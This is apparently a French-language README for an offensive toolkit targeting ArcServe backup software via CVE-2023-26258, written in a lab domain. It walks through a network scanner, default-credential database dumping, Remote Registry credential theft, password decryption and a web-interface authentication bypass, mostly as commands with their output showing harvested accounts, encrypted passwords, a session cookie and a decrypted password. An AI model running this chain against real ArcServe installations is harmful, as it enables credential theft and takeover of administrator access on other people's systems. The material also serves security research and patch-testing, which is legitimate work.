
Boîte à outils d'exploitation pour CVE-2023-26258 ciblant le logiciel de sauvegarde ArcServe. Comprend un scanneur réseau, un extracteur d'identifiants depuis la base de données et le registre, un décrypteur de mots de passe et un exploit de contournement d'authentification pour l'interface web de gestion.
Le TL; DR;
Si vous êtes sur le réseau, vous pouvez scanner les instances configurées par défaut en utilisant ArcServeRadar.py. J'ai essayé de le porter en C# mais je n'ai pas réussi, n'hésitez pas à le faire si vous savez comment :)
c:\Users\vagrant\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20
-=[ ArcServe Finder - @TheXC3LL - MDSec ]=-
[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
[+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
S'il est configuré par défaut, vous pouvez utiliser les identifiants DB par défaut pour vous connecter à l'IP et au port obtenus précédemment et lire le nom d'utilisateur/mot de passe ainsi que l'emplacement des instances ArcServe en utilisant ArcServe-dbpwner.py :
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwner.py -target 192.168.56.10 -port 62197
-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL
Have a nice day! ^_^
Tous les mots de passe récupérés par les outils peuvent être déchiffrés avec ArcServeDecrypter.exe. Il suffit d'éditer le code C pour ajouter le tableau, compiler et exécuter :
C:\Users\vagrant>C:\Users\vagrant\source\repos\ArcServeDecrypter\x64\Debug\ArcServeDecrypter.exe
-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) - MDSec}=-
[+] Decrypted string: vagrant
Si vous avez un utilisateur avec des privilèges d'administrateur local sur le serveur où ArcServe est installé, vous pouvez lire les identifiants en utilisant le service Remote Registry (arcserve-regkeys.py) :
psyconauta@insulanova:/tmp|⇒ python3 arcserve-regkeys.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20
-=[ ArcServe Credential Stealer - (@TheXC3LL) - MDSec]=-
[+] Connecting to 192.168.56.20
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Opening registry key
[*] User: P3TWLADS11STD\vagrant
[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service
Have a nice day! ^_^
Enfin, si la version d'ArcServe n'a pas été corrigée (CVE-2023-26258), vous pouvez exploiter un contournement d'authentification dans l'interface web de gestion et récupérer les identifiants administrateur (ArcServe-exploit.py) :
psyconauta@insulanova:/tmp|⇒ python3 ArcServe-exploit.py 192.168.56.10
-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Triggering info leak
[+] AdminName: SEVENKINGDOMS\vagrant
[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
[+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
[+] Admin: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
Voici donc la fin du résumé des outils que vous pouvez trouver ici.